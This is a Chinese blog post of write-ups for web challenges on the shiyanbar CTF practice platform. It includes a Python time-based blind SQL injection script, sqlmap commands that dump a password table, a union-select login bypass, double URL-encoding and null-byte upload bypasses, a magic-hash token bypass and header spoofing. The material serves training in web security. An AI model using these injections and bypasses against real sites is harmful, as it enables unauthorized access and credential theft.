实验吧部分题wp

本文解析了多个CTF挑战,包括SQL注入、文件上传绕过等技术,并提供了详细的解决步骤及代码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

看起来有点难

这道题有点坑,打开页面去试下登录,发现输入admin/admin会报登录失败,错误的用户名和密码,其他的就说数据库没有连上,一开始真的以为没有连上..............

然后后面看了下别人的评论,题目没错,那就可能是除了admin其他都是定义好了跳出来数据库没连上

http://ctf5.shiyanbar.com/basic/inject/index.php?username=admin' and sleep(10) and ''='&pass=&action=login

然后看见是有延时的,也就是说是可以时间盲注

然后脚本贴一波

#-*-coding:utf-8-*-
import requests
import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*'

flag = ""
key = 0
print("start")
for i in range(1,50):
    if key == 1:
        break
    for payload in payloads:
        starttime = time.time()  #记录当前时间
        headers ={           #header头信息
            "Host": "ctf5.shiyanbar.com",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Encoding": "gzip, deflate",
            "Accept-lanuage": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Connection": "keep-alive",
            "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1526381912,1526540869,1527213157,1527225613; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*131924%2CnickName%3AXi4or0uji; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1527238356; source=1",

        }
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload)  #数据库
        res = requests.get(url, headers=headers)
        if time.time() - starttime > 10:
            flag += payload
            print("pwd is:%s"%flag)
            break
        else:
            if payload == '*':
                key = 1
                break
    print('[Finally] current pwd is %s '%flag)

然后跑出来的结果是这样的

到了这里,拿admin和idnuenna登录就行了

这道题还可以sqlmap一波,不过很慢很慢...............

爆数据库

sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs

爆表

sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" -D test --tables

爆字段

sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" -D test -T admin --columns

爆密码

sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" -D test -T admin -C password --dump

最后登录拿flag

程序逻辑问题

进去调试看见有个index.txt,访问试一下

<html>
<head>
welcome to simplexue
</head>
<body>
<?php


if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********, "*****", "********");
	mysql_select_db("phpformysql") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
	
  }
  
  
}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

题目说的很清楚,读代码去找漏洞就是了

上面的sql语句看见user是可以进行注入的,然后后面又要查询查来的东西的里面pw的md5值是不是跟输入的密码的md5值相同,如果相同就出flag,然后到了这里就可以构造payload了

user=1' and 0=1 union select md5(1)#
pass=1

解释一波

这里的username前面and0=1可以让前面的查询不成功,然后后面再给一个值,那样的话就会返回一个md5(1)的值了,password再输入一个1,刚好就可以绕过出flag了

php大法

这道题进去就叫你看index.php.txt,然后有段源码

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

然后题目大概意思是要输入一个id,他的值不能是heckerDJ,但是urldecode后要是hackerDJ,看起来很矛盾,但是我们发现,浏览器传输过程是会对url进行解码的,所以我们就可以进行二次加密,构造payload

shell?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

上传绕过

先发一张图片,然后就

那我传个php行了吧

妙啊................

这个是考了0x00截断

路径uploads/a.php+1.1.jpg如果将+的十六进制改成00,那么会认为路径已经截断了,后面的值1.1.jpg就会覆盖到前面的值,所以这样就可以绕过了

用repeater改一下加号改成00

然后go就有flag了

这里文件上传漏洞找到一篇挺好的博客

https://blog.youkuaiyun.com/wy_97/article/details/76549761

忘记密码了

这个题目真的要很细心...........发送邮件然后就看到

有个弹窗给个路径,访问下路径说没有定义然后跳回step1

但是可以看见后台是用vim写的,找下备份文件,最后在http://ctf5.shiyanbar.com/10/upload/.submit.php.swp找

所以submit的认证就是前面是管理员的邮箱地址,后面加个token,token的要求是值为0同时长度为10,这里用个科学计数法就可以绕过了,但是管理员邮箱鬼知道它是什么啊........................

后面看见前面已经给了admin@simplexue.com

然后payload都出来了

http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0e00000000

这里注意的是提交到submit.php,就第二张抓包的图里说了

貌似有点难

这题巨简单好吧.........

题目给了源码

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
	$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
	$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
	$cip = $_SERVER["REMOTE_ADDR"];
else
	$cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

其实就是改下ip就行了,用火狐改个代理flag就出来了

头有点大

这题提示巨明显

也是火狐改下代理,浏览器是ie,net framework是.NET CLR 9.9,最后语言是en-gb

发送getflag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值